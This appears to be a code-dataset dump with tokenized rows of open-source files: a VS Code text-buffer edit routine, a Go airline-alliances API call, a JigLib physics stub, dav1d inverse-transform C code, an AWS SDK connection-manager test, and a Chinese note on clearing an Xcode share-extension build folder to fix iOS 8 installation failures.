if (strEOL === StringEOL.Unknown || strEOL === expectedStrEOL) {
validText = op.text;
} else {
validText = op.text.replace(/\r\n|\r|\n/g, bufferEOL);
}
}
operations[i] = {
sortIndex: i,
identifier: op.identifier || null,
range: validatedRange,
rangeOffset: this.getOffsetAt(validatedRange.startLineNumber, validatedRange.startColumn),
rangeLength: this.getValueLengthInRange(validatedRange),
text: validText,
eolCount: eolCount,
firstLineLength: firstLineLength,
lastLineLength: lastLineLength,
forceMoveMarkers: Boolean(op.forceMoveMarkers),
isAutoWhitespaceEdit: op.isAutoWhitespaceEdit || false
};
}
// Sort operations ascending
operations.sort(PieceTreeTextBuffer._sortOpsAscending);
let hasTouchingRanges = false;
for (let i = 0, count = operations.length - 1; i < count; i++) {
let rangeEnd = operations[i].range.getEndPosition();
let nextRangeStart = operations[i + 1].range.getStartPosition();
if (nextRangeStart.isBeforeOrEqual(rangeEnd)) {
if (nextRangeStart.isBefore(rangeEnd)) {
// overlapping ranges
throw new Error('Overlapping ranges are not allowed!');
}
hasTouchingRanges = true;
}
}
if (canReduceOperations) {
operations = this._reduceOperations(operations);
}
// Delta encode operations
let reverseRanges = (computeUndoEdits || recordTrimAutoWhitespace ? PieceTreeTextBuffer._getInverseEditRanges(operations) : []);
let newTrimAutoWhitespaceCandidates: { lineNumber: number, oldContent: string }[] = [];
if (recordTrimAutoWhitespace) {
for (let i = 0; i < operations.length; i++) {
let op = operations[i];
let reverseRange = reverseRanges[i];
if (op.isAutoWhitespaceEdit && op.range.isEmpty()) {
// Record already the future line numbers that might be auto whitespace removal candidates on next edit
for (let lineNumber = reverseRange.startLineNumber; lineNumber <= reverseRange.endLineNumber; lineNumber++) {
let currentLineContent = '';
if (lineNumber === reverseRange.startLineNumber) {
currentLineContent = this.getLineContent(op.range.startLineNumber);
if (strings.firstNonWhitespaceIndex(currentLineContent) !== -1) {
continue;
}
}
newTrimAutoWhitespaceCandidates.push({ lineNumber: lineNumber, oldContent: currentLineContent });
}
}
}
}
let reverseOperations: IReverseSingleEditOperation[] | null = null;
if (computeUndoEdits) {
let reverseRangeDeltaOffset = 0;
reverseOperations = [];
for (let i = 0; i < operations.length; i++) {
const op = operations[i];
const reverseRange = reverseRanges[i];
const bufferText = this.getValueInRange(op.range);
const reverseRangeOffset = op.rangeOffset + reverseRangeDeltaOffset;
reverseRangeDeltaOffset += (op.text.length - bufferText.length);
reverseOperations[i] = {
sortIndex: op.sortIndex,
identifier: op.identifier,
range: reverseRange,
text: bufferText,
textChange: new TextChange(op.rangeOffset, bufferText, reverseRangeOffset, op.text)
};
}
// Can only sort reverse operations when the order is not significant
if (!hasTouchingRanges) {
reverseOperations.sort((a, b) => a.sortIndex - b.sortIndex);
}
}
this._mightContainRTL = mightContainRTL;
this._mightContainNonBasicASCII = mightContainNonBasicASCII;
const contentChanges = this._doApplyEdits(operations);
let trimAutoWhitespaceLineNumbers: number[] | null = null;
if (recordTrimAutoWhitespace && newTrimAutoWhitespaceCandidates.length > 0) {
// sort line numbers auto whitespace removal candidates for next edit descending
newTrimAutoWhitespaceCandidates.sort((a, b) => b.lineNumber - a.lineNumber);
trimAutoWhitespaceLineNumbers = [];
for (let i = 0, len = newTrimAutoWhitespaceCandidates.length; i < len; i++) {
let lineNumber = newTrimAutoWhitespaceCandidates[i].lineNumber;
if (i > 0 && newTrimAutoWhitespaceCandidates[i - 1].lineNumber === lineNumber) {
// Do not have the same line number twice
continue;
}
let prevContent = newTrimAutoWhitespaceCandidates[i].oldContent;
let lineContent = this.getLineContent(lineNumber);
if (lineContent.length === 0 || lineContent === prevContent || strings.firstNonWhitespaceIndex(lineContent) !== -1) {
continue;
}
trimAutoWhitespaceLineNumbers.push(lineNumber);
}
}
return new ApplyEditsResult(
reverseOperations,
contentChanges,
trimAutoWhitespaceLineNumbers
);
}
/**
* Transform operations such that they represent the same logic edit,
* but that they also do not cause OOM crashes.
*/
private _reduceOperations(operations: IValidatedEditOperation[]): IValidatedEditOperation[] {
if (operations.length < 1000) {
// We know from empirical testing that a thousand edits work fine regardless of their shape.
return operations;
}
// At one point, due to how events are emitted and how each operation is handled,
// some operations can trigger a high amount of temporary string allocations,
// that will immediately get edited again.
// e.g. a formatter inserting ridiculous ammounts of \n on a model with a single line
// Therefore, the strategy is to collapse all the operations into a huge single edit operation
return [this._toSingleEditOperation(operations)];
}
_toSingleEditOperation(operations: IValidatedEditOperation[]): IValidatedEditOperation {
let forceMoveMarkers = false;
const firstEditRange = operations[0].range;
const lastEditRange = operations[operations.length - 1].range;
const entireEditRange = new Range(firstEditRange.startLineNumber, firstEditRange.startColumn, lastEditRange.endLineNumber, lastEditRange.endColumn);
let lastEndLineNumber = firstEditRange.startLineNumber;
let lastEndColumn = firstEditRange.startColumn;
const result: string[] = [];
for (let i = 0, len = operations.length; i < len; i++) {
const operation = operations[i];
const range = operation.range;
forceMoveMarkers = forceMoveMarkers || operation.forceMoveMarkers;
// (1) -- Push old text
result.push(this.getValueInRange(new Range(lastEndLineNumber, lastEndColumn, range.startLineNumber, range.startColumn)));
// (2) -- Push new text
if (operation.text.length > 0) {
result.push(operation.text);
}
lastEndLineNumber = range.endLineNumber;
lastEndColumn = range.endColumn;
}
const text = result.join('');
const [eolCount, firstLineLength, lastLineLength] = countEOL(text);
return {
sortIndex: 0,
identifier: operations[0].identifier,
range: entireEditRange,
rangeOffset: this.getOffsetAt(entireEditRange.startLineNumber, entireEditRange.startColumn),
rangeLength: this.getValueLengthInRange(entireEditRange, EndOfLinePreference.TextDefined),
text: text,
eolCount: eolCount,
firstLineLength: firstLineLength,
lastLineLength: lastLineLength,
forceMoveMarkers: forceMoveMarkers,
isAutoWhitespaceEdit: false
};
}
private _doApplyEdits(operations: IValidatedEditOperation[]): IInternalModelContentChange[] {
operations.sort(PieceTreeTextBuffer._sortOpsDescending);
let contentChanges: IInternalModelContentChange[] = [];
// operations are from bottom to top
for (let i = 0; i < operations.length; i++) {
let op = operations[i];
const startLineNumber = op.range.startLineNumber;
const startColumn = op.range.startColumn;
const endLineNumber = op.range.endLineNumber;
const endColumn = op.range.endColumn;
if (startLineNumber === endLineNumber && startColumn === endColumn && op.text.length === 0) {
// no-op
continue;
}
if (op.text) {
// replacement
this._pieceTree.delete(op.rangeOffset, op.rangeLength);
this._pieceTree.insert(op.rangeOffset, op.text, true);
} else {
// deletion
this._pieceTree.delete(op.rangeOffset, op.rangeLength);
}
const contentChangeRange = new Range(startLineNumber, startColumn, endLineNumber, endColumn);
contentChanges.push({
range: contentChangeRange,
rangeLength: op.rangeLength,
text: op.text,
rangeOffset: op.rangeOffset,
forceMoveMarkers: op.forceMoveMarkers
});
}
return contentChanges;
}
findMatchesLineByLine(searchRange: Range, searchData: SearchData, captureMatches: boolean, limitResultCount: number): FindMatch[] {
return this._pieceTree.findMatchesLineByLine(searchRange, searchData, captureMatches, limitResultCount);
}
// #endregion
// #region helper
// testing purpose.
public getPieceTree(): PieceTreeBase {
return this._pieceTree;
}
/**
* Assumes `operations` are validated and sorted ascending
*/
public static _getInverseEditRanges(operations: IValidatedEditOperation[]): Range[] {
let result: Range[] = [];
let prevOpEndLineNumber: number = 0;
let prevOpEndColumn: number = 0;
let prevOp: IValidatedEditOperation | null = null;
for (let i = 0, len = operations.length; i < len; i++) {
let op = operations[i];
let startLineNumber: number;
let startColumn: number;
if (prevOp) {
if (prevOp.range.endLineNumber === op.range.startLineNumber) {
startLineNumber = prevOpEndLineNumber;
startColumn = prevOpEndColumn + (op.range.startColumn - prevOp.range.endColumn);
} else {
startLineNumber = prevOpEndLineNumber + (op.range.startLineNumber - prevOp.range.endLineNumber);
startColumn = op.range.startColumn;
}
} else {
startLineNumber = op.range.startLineNumber;
startColumn = op.range.startColumn;
}
let resultRange: Range;
if (op.text.length > 0) {
// the operation inserts something
const lineCount = op.eolCount + 1;
if (lineCount === 1) {
// single line insert
resultRange = new Range(startLineNumber, startColumn, startLineNumber, startColumn + op.firstLineLength);
} else {
// multi line insert
resultRange = new Range(startLineNumber, startColumn, startLineNumber + lineCount - 1, op.lastLineLength + 1);
}
} else {
// There is nothing to insert
resultRange = new Range(startLineNumber, startColumn, startLineNumber, startColumn);
}
prevOpEndLineNumber = resultRange.endLineNumber;
prevOpEndColumn = resultRange.endColumn;
result.push(resultRange);
prevOp = op;
}
return result;
}
private static _sortOpsAscending(a: IValidatedEditOperation, b: IValidatedEditOperation): number {
let r = Range.compareRangesUsingEnds(a.range, b.range);
if (r === 0) {
return a.sortIndex - b.sortIndex;
}
return r;
}
private static _sortOpsDescending(a: IValidatedEditOperation, b: IValidatedEditOperation): number {
let r = Range.compareRangesUsingEnds(a.range, b.range);
if (r === 0) {
return b.sortIndex - a.sortIndex;
}
return -r;
}
// #endregion
}
| joaomoreno/vscode | src/vs/editor/common/model/pieceTreeTextBuffer/pieceTreeTextBuffer.ts | TypeScript | mit | 18,581 | [
30522,
1013,
1008,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
30524,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
10... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package aviasales
type Alliance struct {
Name string `json:"name" bson:"name"`
Airlines []string `json:"alias" bson:"alias"`
}
// DataAirlinesAlliances a list of alliances from the database.
//
// Documentation:
// https://support.travelpayouts.com/hc/ru/articles/203956163#13
//
// Example URI:
// http://api.travelpayouts.com/data/airlines_alliances.json
func (a *AviasalesApi) DataAirlinesAlliances() (airlinesAlliances []Alliance, err error) {
err = a.getJson("data/airlines_alliances.json", map[string]string{}, &airlinesAlliances)
return
}
| liderman/go-aviasales-api | data-airlines-alliances.go | GO | mit | 558 | [
30522,
7427,
20704,
7951,
23266,
2828,
4707,
2358,
6820,
6593,
1063,
2171,
5164,
1036,
1046,
3385,
1024,
1000,
2171,
1000,
18667,
2239,
1024,
1000,
2171,
1000,
1036,
7608,
1031,
1033,
5164,
1036,
1046,
3385,
1024,
1000,
14593,
1000,
18667,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
(function(jiglib) {
var MaterialProperties = jiglib.MaterialProperties;
var CachedImpulse = jiglib.CachedImpulse;
var PhysicsState = jiglib.PhysicsState;
var RigidBody = jiglib.RigidBody;
var HingeJoint = jiglib.HingeJoint;
var BodyPair = jiglib.BodyPair;
var PhysicsSystem = jiglib.PhysicsSystem;
var PhysicsController = function()
{
this._controllerEnabled = null; // Boolean
this._controllerEnabled = false;
}
PhysicsController.prototype.updateController = function(dt)
{
}
PhysicsController.prototype.enableController = function()
{
}
PhysicsController.prototype.disableController = function()
{
}
PhysicsController.prototype.get_controllerEnabled = function()
{
return this._controllerEnabled;
}
jiglib.PhysicsController = PhysicsController;
})(jiglib);
| charlieschwabacher/Walking | public/JigLibJS2/physics/PhysicsController.js | JavaScript | mit | 871 | [
30522,
1006,
3853,
1006,
10147,
25394,
2497,
1007,
1063,
13075,
3430,
21572,
4842,
7368,
1027,
10147,
25394,
2497,
1012,
3430,
21572,
4842,
7368,
1025,
13075,
17053,
22172,
14289,
4877,
2063,
1027,
10147,
25394,
2497,
1012,
17053,
22172,
1428... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright © 2018-2019, VideoLAN and dav1d authors
* Copyright © 2018-2019, Two Orioles, LLC
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include "common/attributes.h"
#include "common/intops.h"
#include "src/itx.h"
#include "src/itx_1d.h"
static NOINLINE void
inv_txfm_add_c(pixel *dst, const ptrdiff_t stride, coef *const coeff,
const int eob, const int w, const int h, const int shift,
const itx_1d_fn first_1d_fn, const itx_1d_fn second_1d_fn,
const int has_dconly HIGHBD_DECL_SUFFIX)
{
assert(w >= 4 && w <= 64);
assert(h >= 4 && h <= 64);
assert(eob >= 0);
const int is_rect2 = w * 2 == h || h * 2 == w;
const int rnd = (1 << shift) >> 1;
if (eob < has_dconly) {
int dc = coeff[0];
coeff[0] = 0;
if (is_rect2)
dc = (dc * 181 + 128) >> 8;
dc = (dc * 181 + 128) >> 8;
dc = (dc + rnd) >> shift;
dc = (dc * 181 + 128 + 2048) >> 12;
for (int y = 0; y < h; y++, dst += PXSTRIDE(stride))
for (int x = 0; x < w; x++)
dst[x] = iclip_pixel(dst[x] + dc);
return;
}
const int sh = imin(h, 32), sw = imin(w, 32);
#if BITDEPTH == 8
const int row_clip_min = INT16_MIN;
const int col_clip_min = INT16_MIN;
#else
const int row_clip_min = (int) ((unsigned) ~bitdepth_max << 7);
const int col_clip_min = (int) ((unsigned) ~bitdepth_max << 5);
#endif
const int row_clip_max = ~row_clip_min;
const int col_clip_max = ~col_clip_min;
int32_t tmp[64 * 64], *c = tmp;
for (int y = 0; y < sh; y++, c += w) {
if (is_rect2)
for (int x = 0; x < sw; x++)
c[x] = (coeff[y + x * sh] * 181 + 128) >> 8;
else
for (int x = 0; x < sw; x++)
c[x] = coeff[y + x * sh];
first_1d_fn(c, 1, row_clip_min, row_clip_max);
}
memset(coeff, 0, sizeof(*coeff) * sw * sh);
for (int i = 0; i < w * sh; i++)
tmp[i] = iclip((tmp[i] + rnd) >> shift, col_clip_min, col_clip_max);
for (int x = 0; x < w; x++)
second_1d_fn(&tmp[x], w, col_clip_min, col_clip_max);
c = tmp;
for (int y = 0; y < h; y++, dst += PXSTRIDE(stride))
for (int x = 0; x < w; x++)
dst[x] = iclip_pixel(dst[x] + ((*c++ + 8) >> 4));
}
#define inv_txfm_fn(type1, type2, w, h, shift, has_dconly) \
static void \
inv_txfm_add_##type1##_##type2##_##w##x##h##_c(pixel *dst, \
const ptrdiff_t stride, \
coef *const coeff, \
const int eob \
HIGHBD_DECL_SUFFIX) \
{ \
inv_txfm_add_c(dst, stride, coeff, eob, w, h, shift, \
dav1d_inv_##type1##w##_1d_c, dav1d_inv_##type2##h##_1d_c, \
has_dconly HIGHBD_TAIL_SUFFIX); \
}
#define inv_txfm_fn64(w, h, shift) \
inv_txfm_fn(dct, dct, w, h, shift, 1)
#define inv_txfm_fn32(w, h, shift) \
inv_txfm_fn64(w, h, shift) \
inv_txfm_fn(identity, identity, w, h, shift, 0)
#define inv_txfm_fn16(w, h, shift) \
inv_txfm_fn32(w, h, shift) \
inv_txfm_fn(adst, dct, w, h, shift, 0) \
inv_txfm_fn(dct, adst, w, h, shift, 0) \
inv_txfm_fn(adst, adst, w, h, shift, 0) \
inv_txfm_fn(dct, flipadst, w, h, shift, 0) \
inv_txfm_fn(flipadst, dct, w, h, shift, 0) \
inv_txfm_fn(adst, flipadst, w, h, shift, 0) \
inv_txfm_fn(flipadst, adst, w, h, shift, 0) \
inv_txfm_fn(flipadst, flipadst, w, h, shift, 0) \
inv_txfm_fn(identity, dct, w, h, shift, 0) \
inv_txfm_fn(dct, identity, w, h, shift, 0) \
#define inv_txfm_fn84(w, h, shift) \
inv_txfm_fn16(w, h, shift) \
inv_txfm_fn(identity, flipadst, w, h, shift, 0) \
inv_txfm_fn(flipadst, identity, w, h, shift, 0) \
inv_txfm_fn(identity, adst, w, h, shift, 0) \
inv_txfm_fn(adst, identity, w, h, shift, 0) \
inv_txfm_fn84( 4, 4, 0)
inv_txfm_fn84( 4, 8, 0)
inv_txfm_fn84( 4, 16, 1)
inv_txfm_fn84( 8, 4, 0)
inv_txfm_fn84( 8, 8, 1)
inv_txfm_fn84( 8, 16, 1)
inv_txfm_fn32( 8, 32, 2)
inv_txfm_fn84(16, 4, 1)
inv_txfm_fn84(16, 8, 1)
inv_txfm_fn16(16, 16, 2)
inv_txfm_fn32(16, 32, 1)
inv_txfm_fn64(16, 64, 2)
inv_txfm_fn32(32, 8, 2)
inv_txfm_fn32(32, 16, 1)
inv_txfm_fn32(32, 32, 2)
inv_txfm_fn64(32, 64, 1)
inv_txfm_fn64(64, 16, 2)
inv_txfm_fn64(64, 32, 1)
inv_txfm_fn64(64, 64, 2)
static void inv_txfm_add_wht_wht_4x4_c(pixel *dst, const ptrdiff_t stride,
coef *const coeff, const int eob
HIGHBD_DECL_SUFFIX)
{
int32_t tmp[4 * 4], *c = tmp;
for (int y = 0; y < 4; y++, c += 4) {
for (int x = 0; x < 4; x++)
c[x] = coeff[y + x * 4] >> 2;
dav1d_inv_wht4_1d_c(c, 1);
}
memset(coeff, 0, sizeof(*coeff) * 4 * 4);
for (int x = 0; x < 4; x++)
dav1d_inv_wht4_1d_c(&tmp[x], 4);
c = tmp;
for (int y = 0; y < 4; y++, dst += PXSTRIDE(stride))
for (int x = 0; x < 4; x++)
dst[x] = iclip_pixel(dst[x] + *c++);
}
COLD void bitfn(dav1d_itx_dsp_init)(Dav1dInvTxfmDSPContext *const c) {
#define assign_itx_all_fn64(w, h, pfx) \
c->itxfm_add[pfx##TX_##w##X##h][DCT_DCT ] = \
inv_txfm_add_dct_dct_##w##x##h##_c
#define assign_itx_all_fn32(w, h, pfx) \
assign_itx_all_fn64(w, h, pfx); \
c->itxfm_add[pfx##TX_##w##X##h][IDTX] = \
inv_txfm_add_identity_identity_##w##x##h##_c
#define assign_itx_all_fn16(w, h, pfx) \
assign_itx_all_fn32(w, h, pfx); \
c->itxfm_add[pfx##TX_##w##X##h][DCT_ADST ] = \
inv_txfm_add_adst_dct_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][ADST_DCT ] = \
inv_txfm_add_dct_adst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][ADST_ADST] = \
inv_txfm_add_adst_adst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][ADST_FLIPADST] = \
inv_txfm_add_flipadst_adst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][FLIPADST_ADST] = \
inv_txfm_add_adst_flipadst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][DCT_FLIPADST] = \
inv_txfm_add_flipadst_dct_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][FLIPADST_DCT] = \
inv_txfm_add_dct_flipadst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][FLIPADST_FLIPADST] = \
inv_txfm_add_flipadst_flipadst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][H_DCT] = \
inv_txfm_add_dct_identity_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][V_DCT] = \
inv_txfm_add_identity_dct_##w##x##h##_c
#define assign_itx_all_fn84(w, h, pfx) \
assign_itx_all_fn16(w, h, pfx); \
c->itxfm_add[pfx##TX_##w##X##h][H_FLIPADST] = \
inv_txfm_add_flipadst_identity_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][V_FLIPADST] = \
inv_txfm_add_identity_flipadst_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][H_ADST] = \
inv_txfm_add_adst_identity_##w##x##h##_c; \
c->itxfm_add[pfx##TX_##w##X##h][V_ADST] = \
inv_txfm_add_identity_adst_##w##x##h##_c; \
memset(c, 0, sizeof(*c)); /* Zero unused function pointer elements. */
c->itxfm_add[TX_4X4][WHT_WHT] = inv_txfm_add_wht_wht_4x4_c;
assign_itx_all_fn84( 4, 4, );
assign_itx_all_fn84( 4, 8, R);
assign_itx_all_fn84( 4, 16, R);
assign_itx_all_fn84( 8, 4, R);
assign_itx_all_fn84( 8, 8, );
assign_itx_all_fn84( 8, 16, R);
assign_itx_all_fn32( 8, 32, R);
assign_itx_all_fn84(16, 4, R);
assign_itx_all_fn84(16, 8, R);
assign_itx_all_fn16(16, 16, );
assign_itx_all_fn32(16, 32, R);
assign_itx_all_fn64(16, 64, R);
assign_itx_all_fn32(32, 8, R);
assign_itx_all_fn32(32, 16, R);
assign_itx_all_fn32(32, 32, );
assign_itx_all_fn64(32, 64, R);
assign_itx_all_fn64(64, 16, R);
assign_itx_all_fn64(64, 32, R);
assign_itx_all_fn64(64, 64, );
#if HAVE_ASM
#if ARCH_AARCH64 || ARCH_ARM
bitfn(dav1d_itx_dsp_init_arm)(c);
#endif
#if ARCH_X86
bitfn(dav1d_itx_dsp_init_x86)(c);
#endif
#endif
}
| endlessm/chromium-browser | third_party/dav1d/libdav1d/src/itx_tmpl.c | C | bsd-3-clause | 9,450 | [
30522,
1013,
1008,
1008,
9385,
1075,
2760,
1011,
10476,
1010,
2678,
5802,
1998,
4830,
2615,
2487,
2094,
6048,
1008,
9385,
1075,
2760,
1011,
10476,
1010,
2048,
18893,
1010,
11775,
1008,
2035,
2916,
9235,
1012,
1008,
1008,
25707,
1998,
2224,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2011-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package com.amazonaws.http.apache.client.impl;
import com.amazonaws.ClientConfiguration;
import com.amazonaws.http.settings.HttpClientSettings;
import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class ApacheConnectionManagerFactoryTest {
private final ApacheConnectionManagerFactory factory = new ApacheConnectionManagerFactory();
@Test
public void validateAfterInactivityMillis_RespectedInConnectionManager() {
final int validateAfterInactivity = 1234;
final HttpClientSettings httpClientSettings =
HttpClientSettings.adapt(new ClientConfiguration()
.withValidateAfterInactivityMillis(validateAfterInactivity));
final PoolingHttpClientConnectionManager connectionManager =
(PoolingHttpClientConnectionManager) factory.create(httpClientSettings);
assertEquals(validateAfterInactivity, connectionManager.getValidateAfterInactivity());
}
} | dagnir/aws-sdk-java | aws-java-sdk-core/src/test/java/com/amazonaws/http/apache/client/impl/ApacheConnectionManagerFactoryTest.java | Java | apache-2.0 | 1,653 | [
30522,
1013,
1008,
1008,
9385,
2249,
1011,
2418,
9733,
1012,
4012,
1010,
4297,
1012,
2030,
2049,
18460,
1012,
2035,
2916,
9235,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
## iOS 8真机无法调整的问题
### 1. App installation failed
iOS 8 调试一次后出现问题

##### 解决方案
`rm -rf ~/Library/Developer/Xcode/DerivedData/<your_app>-*/Build/Products/Debug-iphoneos/ShareExtension.appex/`
对于邮箱大师,直接使用:
`rm -rf ~/Library/Developer/Xcode/DerivedData/mail-*/Build/Products/Debug-iphoneos/MailMasterShareExtension.appex/`
